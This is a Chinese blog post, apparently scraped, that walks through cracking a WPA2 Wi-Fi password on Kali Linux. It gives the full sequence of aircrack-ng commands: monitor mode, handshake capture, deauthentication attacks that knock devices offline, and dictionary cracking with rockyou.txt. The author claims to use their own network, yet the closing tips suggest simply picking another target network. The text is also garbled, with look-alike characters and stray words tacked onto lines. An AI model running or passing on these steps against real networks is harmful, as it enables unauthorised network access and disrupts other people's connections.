国庆放假在家有点闲,想着以前尝试用kali破解wifi一直没有成功过,何不趁这个机会再试一试。spa
1.kali操做系统或者kali虚拟机操作系统
2.若是是虚拟机还须要一个kali能识别的无线网卡(常见的有芯片为3070和8187)3d
3.强大的字典(kali中也有自带的,不过仍是本身收集的好用一些)code
解压kali中的自带的rockyou.txt.gz:blog
gzip -d /usr/share/wordlists/rockyou.txt.gz
终端中命令:接口
airmon-ng
出现如上图所示的信息表明无线网卡被识别,可用状态。若是什么也没有显示,那就是无线网卡没有被识别。ip
命令:路由
airmon-ng start wlan0
monitor enable 表示监听开启 而且同时网卡接口变为wlan0mon,能够用ifconfig来验证虚拟机
命令:it
airodump-ng wlan0mon
这样就能够看到kali所能找到的附近的wifi
我这里就以本身家的WiFi为例来抓取:
命令:
airodump-ng -c 11 --bssid B8:F8:83:32:17:60 -w ~/ wlan0mon
参数解释:
-c 表示信道,目标路由器在哪一个信道上就写哪一个信道。
--bssid 表示目标路由器的MAC地址
-w 表示握手包存放的路径
注:handshake握手包只有设备与路由器的wifi相连时才会产生,就是说若是没有设备相连那么就抓不到,那么就一直等待?
不会的,有一条断网命令,利用向链接wifi的设备发送反证包的原理,让设备断开wifi,断开以后该设备会自动再次链接WiFi,这时候就能够抓到handshake包。
命令:
aireplay-ng -0 10 -a B8:F8:83:32:17:60 -c 1C:91:48:A9:48:FD wlan0mon
参数:
-0表示deauthentication攻击
10表示一次发送10个反证包
-a表示目的路由器的MAC地址
-c表示目标设备的MAC地址
若是发了反证包仍是抓不到,那就一次多发几个包,多发几回。
抓到握手包以后能够Ctrl+C中止抓包,并关闭无线网卡的监控模式
命令:
airmon-ng stop wlan0mon
monitor disable表示监控模式已关闭
命令:
aircrack-ng -a2 -b B8:F8:83:32:17:60 -w /usr/share/wordlists/rockyou.txt ~/*.cap
参数:
-a2表示WPA2的握手包
-b表示目标路由器MAC
-w表示字典所在路径
最后一个参数是抓到的handshake包
成功破解。
3.1 有时候运气很差发现目的WiFi上并无链接任何设备,那只能等待有人链接或者放弃,从新选择一个目标WiFi。
3.2 在进行发送反证包的时候,有时候会出现信道不同的状态,百度之说是内核问题,遇到这种问题,多重复几回操做就行,赶上信道匹配的几率仍是很大的。
3.3 字典的强大是必须的。